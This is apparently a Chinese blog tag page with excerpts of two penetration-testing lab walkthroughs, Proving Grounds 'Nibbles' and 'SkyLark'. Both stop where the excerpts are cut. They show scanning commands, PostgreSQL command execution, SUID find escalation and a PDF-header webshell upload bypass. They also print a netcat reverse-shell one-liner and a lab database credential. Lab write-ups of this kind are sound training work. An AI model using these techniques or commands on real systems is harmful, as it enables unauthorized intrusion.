發表文章

目前顯示的是有「postgres」標籤的文章

Proving Grounds Practice : Nibbles Walkthrough

圖片
 Proving Grounds Practice : Nibbles Walkthrough Foothole (立足點 ) : 5437 Port 發現 postgres database,使用 dbeaver 工具待遇設帳號密碼嘗試進入成功 使用建立 Table 的方式列舉檔案,但沒有結果 使用建立 Table 的方式塞入 command,使用 nc 建立 reverse shell 成功進入系統 PE ( 提權 ) : SUID 發現 find 指令可以利用,利用後成功拿到 root 注意事項 : Reverse Shell 測試連回來 80 & 445 才有通 要完全 root 可以透過寫入 /root/.ssh/authorized_keys 的方式來登入 Rustscan,└─$ rustscan -a 192.168.181.47 --scripts none  --ulimit 5000 | tee rustscan snmp filtered,└─$ sudo nmap -sU -p 161 192.168.181.47 | tee snmp nmap,└─$ sudo nmap -sCV -A -p 21,22,80,5437 192.168.181.47 | tee nmap 21/tcp   open  ftp        vsftpd 3.0.3 22/tcp   open  ssh        OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0) 80/tcp   open  http       Apache httpd 2.4.38 ((Debian)) 5437/tcp open  postgresql PostgreSQL DB 11.3 - 11.9 FTP 匿名登入失敗 FTP ftp:ftp 登入失敗 80 / 80 /robots.txt 80 /page2.html gobuster,沒有發現有用的 URI 啟動 DB 連線工具 db...

Challenge 3 - SkyLark(2)

圖片
 Challenge 3 - SkyLark(2) 下一台目標選定 .225 Rustscan,└─$ rustscan -a 192.168.211.225 --scripts none --ulimit 5000 | tee rustscan 只有 3 個 Port,21、80、8090 snmp check nmap whatweb 80 / 80 /robots.txt gobuster 沒有東西 8090 / 8090 /robots.txt gobuster 8090 gobuster 8090/backend gobuster 8090/backend/default http://192.168.211.225:8090/backend/default/index.php 有個登入頁面 admin:admin 既然可以登入.......看來可以上傳檔案 上傳 test.txt 告知只能上傳 pdf 檔案 改副檔名 test.pdf 上傳一樣失敗,看來會檢查檔案的格式 真實上傳一個 PDF 的檔案格式,看來就能正常上傳了 也可以在 http://192.168.196.225:8090/backend/default/uploads/test.pdf 正常讀取到檔案 修改 webshell 註記是 PDF 檔案格式,於檔案表頭加入 %PDF-1.7 上傳 webshell.php 測試發現成功,也可以正常開啟 http://192.168.196.225:8090/backend/default/uploads/webshell.php 執行 whoami 可以正常執行 使用最好用的 rm 指令,rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.45.167 4444 >/tmp/f 直接拿到 Reverse Shell 了 先拿取第一階段的 flag 在路徑 /var/www/backend/default 下有一個 config.php 檔案裡面有資料路連接的憑證 postgres:EAZT5EMULA75F8MC cat /etc/passwd 有兩個使用者帳號 uploader、ftpuploader cat /etc/cron...